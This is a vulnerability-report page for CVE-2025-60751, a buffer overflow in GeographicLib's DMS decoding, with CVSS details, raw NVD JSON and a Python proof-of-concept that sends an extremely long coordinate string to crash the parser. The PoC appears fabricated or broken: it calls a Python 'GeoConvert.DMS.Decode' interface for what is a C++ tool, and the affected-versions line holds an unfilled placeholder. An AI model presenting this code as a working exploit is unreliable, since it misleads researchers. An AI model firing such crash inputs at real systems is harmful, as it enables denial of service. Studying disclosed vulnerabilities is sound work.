Security Vulnerability Report
中文
CVE-2025-60751 CVSS 7.5 HIGH

CVE-2025-60751

Published: 2025-10-21 16:15:38
Last Modified: 2026-04-15 00:35:42

Description

GeographicLib 2.5 is vulnerable to Buffer Overflow in GeoConvert DMS::InternalDecode.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

GeographicLib 2.5
GeographicLib < 修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60751 - GeographicLib DMS::InternalDecode Buffer Overflow PoC # This PoC demonstrates the buffer overflow in GeoConvert::DMS::InternalDecode # by providing an excessively long DMS-formatted coordinate string. import sys try: import GeographicLib except ImportError: print("GeographicLib is not installed. Please install it via pip.") sys.exit(1) from GeographicLib import GeoConvert def trigger_overflow(): """ Trigger buffer overflow in DMS::InternalDecode by providing an extremely long DMS-formatted coordinate string. """ # Construct an abnormally long DMS string # Normal DMS format: "45°30'15.5\"N" # Malicious input: extremely long numeric portion malicious_input = "9" * 100000 + "°30'15.5\"N" try: # Attempt to parse the malicious DMS input result = GeoConvert.DMS.Decode(malicious_input) print(f"Parsed result: {result}") except Exception as e: print(f"Exception occurred (possible crash): {e}") if __name__ == "__main__": print("[*] CVE-2025-60751 PoC - GeographicLib Buffer Overflow") print("[*] Triggering DMS::InternalDecode buffer overflow...") trigger_overflow() print("[*] Done.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60751", "sourceIdentifier": "[email protected]", "published": "2025-10-21T16:15:38.430", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "GeographicLib 2.5 is vulnerable to Buffer Overflow in GeoConvert DMS::InternalDecode."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://github.com/geographiclib/geographiclib/issues/43", "source": "[email protected]"}, {"url": "https://github.com/zer0matt/CVE-2025-60751", "source": "[email protected]"}, {"url": "https://lists.debian.org/debian-lts-announce/2025/11/msg00004.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}